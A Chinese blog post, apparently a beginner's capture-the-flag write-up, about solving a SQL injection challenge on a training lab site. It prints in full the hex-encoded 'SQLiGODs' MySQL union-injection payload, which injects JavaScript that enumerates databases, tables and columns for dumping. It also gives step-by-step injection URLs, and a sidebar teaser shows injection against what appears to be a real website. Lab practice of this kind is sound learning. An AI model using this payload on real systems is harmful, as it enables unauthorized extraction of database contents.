初，SQLLIGOD

最新推荐文章于 2024-09-29 23:21:15 发布
最新推荐文章于 2024-09-29 23:21:15 发布
阅读量1.3k 收藏 1
点赞数 1
分类专栏： 菜鸟成长路 文章标签： sql注入 实例 select 可视化 SQLLIGOD
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/maskgrinning/article/details/45438587
版权

0×00  前言

前言这两天新学的一种SQL注入，感觉很有效，大家随意感受一下

0×01 SQLiGOD

SQLiGODS全名叫SQli Gods Syntax，实质上是一个适用于mysql数据库的concat函数。通过将联合查询注入的繁琐步骤变成网页里的一个可视化div，第一次使用，惊为神器啊，百度上有更为详细的介绍和实例，本菜鸟只是小小的介绍一下。

这是代码

concat(0x3c7363726970743e6e616d653d70726f6d70742822506c6561736520456e74657220596f7572204e616d65203a2022293b2075726c3d70726f6d70742822506c6561736520456e746572205468652055726c20796f7527726520747279696e6720746f20496e6a65637420616e6420777269746520276d616b6d616e2720617420796f757220496e6a656374696f6e20506f696e742c204578616d706c65203a20687474703a2f2f736974652e636f6d2f66696c652e7068703f69643d2d3420554e494f4e2053454c45435420312c322c332c636f6e6361742830783664363136622c6d616b6d616e292c352d2d2b2d204e4f5445203a204a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e,0x3c623e3c666f6e7420636f6c6f723d7265643e53514c69474f44732053796e746178205620312e30204279204d616b4d616e3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d343e496e6a6563746564206279203c7363726970743e646f63756d656e742e7772697465286e616d65293b3c2f7363726970743e3c2f666f6e743e3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database(),0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat(0x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c62723e3c62723e3c62723e3c62723e3c62723e)

0×02 演示网站

http://hackinglab.cn/index_4.php


看一下他的tips

<!-- tips: id=1

另外：通过前两个SQL注入题基本了解题目架构（SAE+RDS）,有些注入在云环境下会有些不同之处-->

Ok 那就提交id=1这个参数

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

接下来判断注入

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1’

发现报错 继续

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=1

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2

两个回显不一样，说明存在注入

用order by看一下字段

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 4

发现报错，http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 3回显正常，那字段数就是3

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,2,3

发现回显了2，3两个字段

然后我就用平常的方法，手工

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 union select 1,name,passwd, from users%23

发现报错，应该是列名和表明不对，又去爆了一下列名，表名，完全没效果，我就GG了，毕竟刚学SQL（我是菜鸟，不要喷哦o(╯□╰)o），不太会，只好去百度，终于发现神器SQLiGOD。

把第三个字段替换，即

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,2,concat%280x3c7363726970743e6e616d653d70726f6d70742822506c6561736520456e74657220596f7572204e616d65203a2022293b2075726c3d70726f6d70742822506c6561736520456e746572205468652055726c20796f7527726520747279696e6720746f20496e6a65637420616e6420777269746520276d616b6d616e2720617420796f757220496e6a656374696f6e20506f696e742c204578616d706c65203a20687474703a2f2f736974652e636f6d2f66696c652e7068703f69643d2d3420554e494f4e2053454c45435420312c322c332c636f6e6361742830783664363136622c6d616b6d616e292c352d2d2b2d204e4f5445203a204a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e,0x3c623e3c666f6e7420636f6c6f723d7265643e53514c69474f44732053796e746178205620312e30204279204d616b4d616e3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d343e496e6a6563746564206279203c7363726970743e646f63756d656e742e7772697465286e616d65293b3c2f7363726970743e3c2f666f6e743e3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version%28%29,0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user%28%29,0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database%28%29,0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat%280x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,%28select%20%28@x%29%20from%20%28select%20%28@x:=0x00%29,%20%28select%20%280%29%20from%20%28information_schema.tables%29%20where%20%28table_schema!=0x696e666f726d6174696f6e5f736368656d61%29%20and%20%280x00%29%20in%20%28@x:=concat%28@x,0x3c6f7074696f6e2076616c75653d22,UNHEX%28HEX%28table_schema%29%29,0x2e,UNHEX%28HEX%28table_name%29%29,0x223e,UNHEX%28HEX%28concat%280x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name%29%29%29,0x3c2f6f7074696f6e3e%29%29%29%29x%29,0x3c2f73656c6563743e%29,0x3c62723e3c62723e3c62723e3c62723e3c62723e%29


这时会弹出一个提示


这里随便填什么，相当于询问谁正在注入 我填了KK以后点击确定,又弹出一个对话框



根据提示，构造一个URL，就是把刚才的第三个字段，改成makman(这里必须是makman)

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,2,makman

点击确定


出来一个可视化的DIV框架，选择表，发现就一个，那就选他

再点

看到12999这个奇葩的数字，还犹豫什么，直接构造URL

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=12999

OK,flag拿到。



maskgrinning
关注
专栏目录
SqliGods手工注入助手用法
weixin_34331102的博客
11-03 452
目标：http://www.lifegoeson.in/ 爆字段就不说了，可以看到上图字段分别是14209我们就用14吧可以看到我们长度是33，http://www.lifegoeson.in/datapage.php?pid=11and0unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,...
godbi：SQL数据库的通用DBI（数据库抽象类）
03-02
戈壁 godbi在GO中的通用SQL句柄中添加了一组高级函数，以简化数据库的执行和查询。 检查godoc的定义： 用法分为三个级别： 基本：对原始SQL语句和存储过程进行操作。 Model ：像MVC模式中的Model一样，在特定的表上操作并执行CRUD操作。 模式：在整个数据库模式上运行，并执行RESTful和GraphQL操作。 godbi是ORM的理想替代品。 它优雅，高效地运行SQL，CRUD，RESTful和GraphQL任务。 该软件包已在MySQL和PostgreSQL上进行了全面测试，并假定可与其他关系数据库一起使用。 安装 $去获取-u github.com/genelet/godbi 术语学 如果没有特别说明，则在此包中的函数或方法中传递的参数名称的定义如下： 姓名 类型 进出 在哪里 意义 args ...interface{} 在 DBI 单值
sqli-labs靶场less-1
最新发布
wanggonghanfei的博客
09-29 271
在url后面写?id=1,有回显，输入?id=2，也有回显，输入?id=0，回显判断有注入加单引号：?id=1’报错，从 ’ ‘1’ ’ LIMIT 0,1’ 可以得知，多一个单引号，怀疑为数字型注入因为单引号需要闭合，同时原先查询语句的单引号需要注释掉，构造语句第一个单引号闭合sql语句的查询，–注释掉原先语句的的单引号，+在表示空格，回显：构造：?id=1’ and 1=2 --+，回显：确定为数字型注入。
sqlli-labs基本使用
u011417723的博客
03-04 1004
sqlli-labs进行SQL注入
sqli-labs 1~10关教程
jiji_king的博客
04-04 5915
sqlli-labs 1~10关教程 第一关 输入?id=1 出现如下图 输入id=1’ 出现语法错误 表示这里可能出现sql注入漏洞 进一步尝试 输入 id=1’ --+ 发现回显正常 用order by 判断该语句有几列数据 ?id=1’ order by 3 --+ order by 3 回显正常 order by 4 显示错误 证明有三列数据 具体解释见： 于是使用 函数查询，此时要将id=1改为一个数据库不存在的数值 比如888，给后面查询语句留显示位。此时注入语句为： ?id=
sql-liabs通关1-5
m0_62207170的博客
01-14 253
sqlliab通关
网安学习-sqlli通关1-20
ty5930963的博客
08-23 84
判断数据类型为字符型，加单引号没有变化，加双引号出现变化，然后可以使用盲注，先构造轮子，发现1=1和1=0有差别，用if（）函数，首先用bp抓包，然后用length爆出database（）的长度，发现长度为8。所以构造轮子，发现1=1与1=0不同，可以使用盲注。使用1，1‘，1“页面都没有明显的变化，抓包以后，构造一个恒成立的式子来看，发现1’or 1=1#有变化，可以进行盲注。id=1'and 1=1--+，发现报错，然后尝试使用union 来，发现报错，通过提示信息，可能是括号木有不合，
初学安装与配置：burp、sqllilabs搭建、sqlmap安装
weixin_49422491的博客
05-07 580
下载jdk和burpsuite安装包 将下载好的安装包拷贝到kali目录下，通过ls命令可查看如下图 1、首先检查有无gedit，如果没有，按照提示安装一个。 或者用命令安装 2、安装jdk （1）解压jdk压缩包 （2）移动目录并更改文件~/.bashrc 配置 在~/.bashrc 文件中添加的内容，添加好后保存退出。 注意：在export JAVA_HOME=/opt/jdk1.8.0_191这里,jdk1.8.0_191是你所安装的jdk包的名字,如果你安装的是jdk1.8.0_162,就将上面
sql语法大全
loveliupp的博客
11-29 216
一、基础 1、说明：创建数据库 CREATE DATABASE database-name  2、说明：删除数据库 drop database dbname 3、说明：备份sql server --- 创建 备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:/mssql7backup/MyNwin
在sqli-liabs学习SQL注入之旅（第一关~第十关）
guanjian_ci的博客
04-20 4027
第一关 第一步：判断参数的类型 ?id=1' 页面报错 ?id=1' --+ 页面正常 判断参数接受类型为 字符型 查看第一关源码：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 证明我们的判断正确！ 第二步：猜解字段 ?id=1' order by 3 --+ 页面正常 ?id=1' order by 4 --+ 页面报错 判断字段长度为 3 第三步：爆数据库名 ?id=-
用于Python开发的20多个最有用的CLI命令（第五部分）
2401_83432873的博客
04-13 791
13、如果调试一个程序让你很苦恼，千万不要放弃，成功永远在拐角之后，除非你走到拐角，否则你永远不知道你离他多远，所以，请记住，坚持不懈，直到成功。1、作为一个真正的程序员，首先应该尊重编程，热爱你所写下的程序，他是你的伙伴，而不是工具。2、程序员可以让步，却不可以退缩，可以羞涩，却不可以软弱，总之，程序员必须是勇敢的。5、没有情调，不懂浪漫，也许这是程序员的一面，但拥有朴实无华的爱是他们的另一面。3、编程是一种单调的生活，因此程序员比普通人需要更多的关怀，更多的友情。14、最累的时候，家人是你最好的归宿。
【问题解决】Sql-li-labs报错Error:Call to undefined function mysql_connect()，以及没有sql语句错误提示的解决
share something here
04-12 8719
搭建Sql-li-labs问题处理问题一问题二 问题一 因为小皮面板phpstudy默认安装的是7.x版本的php，高版本的php已经不再支持sql-li-labs其中一些命令，故为了兼容sql-li-labs，我们要采用低版本的php。 在软件管理，找到低版本的phpstudy，安装5.x版本的php 进入到网站管理界面，选择低版本php，之后访问sql-li-labs访问。 问题二 root用户数据库密码连接不上 在小皮面板数据库处的密码要和db-creds.inc文件内的密码一样。 ...
Sqlli_Lab_Page_1_Less_2
qq_45434762的博客
10-21 491
1.找注入点 正常显示 正常显示 显示异常，说明存在诸如点 2.求列数 不存在 判断出列数为3列 3.求显示位 没有报错显示，再1前面加一个-再次尝试 显示位为2，3 4.查看库名，连接数据库的用户等信息 5.求表名 6.求列名 7.拖库 ...
sqli下载及安装(sqli-libs)-图文详解+phpStudy配置
wzhua的博客
09-12 3942
sqli下载及安装-图文详解 （配置phpStudy）+phpStudy下载链接 配置
Sqli-labs介绍、下载、安装
weixin_34318272的博客
08-11 518
SQLI和sqli-labs介绍 SQLI，sql injection，我们称之为sql注入。何为sql，英文：Structured Query Language，叫做结构化查询语言。常见的结构化数据库有MySQL，MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用sql语句进行管理应用数据库时，往往采用拼接的方式形成一条完整的...
HTML5中本地数据库（SQLLite）的基础
热门推荐
ZhangYaohui专栏
05-06 1万+
在html5中，可以像访问本地文件那样轻松的对内置数据库进行直接访问。 html5中内置了两种数据库，一种为SQLLite,另一种为indexedDB。在js中使用SQLLite数据库的步骤：1.创建访问数据库的对象 var db = openDatabase("myDB","1.0","test db",1024*100);说明： 1. 该方法返回的是创建的数据库的对象，如果该数据
SQL注入学习详细过程
liwenqianye的博客
04-19 738
sql注入学习笔记一、union注入1.判断是否存在注入：2.加粗样式查询字段数量3.查询SQL语句插入位置4.获取数据库库名5.获取表名6.获取字段名7.获取数据union注入PHP代码二、Boolean注入mysql的几个内置函数:1.判断注入点2.判断数据库的长度3.获取数据库的名字4.获取表的总数5.获取第一个表的长度6.获取表的内容7.获取表的字段总数三、报错注入报错函数3.extractvalue()4.rand()+group()+count5.几何函数6.不存在的函数7.bigint数值操作
sql注入
li1367356的博客
01-14 232
SQL注入 在form中提交信息时，根据SQL语法特殊性，编写关键字，而这些关键字拼接到sql中会改变原来sql运行效果 — 达到攻击目的 String sql = “select * from users where name = ” and pwd =””; 如果用户输入关键内容，改变登陆结果 用户名: ddd’ or ‘1’=’1 密码：xxx select * from use
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值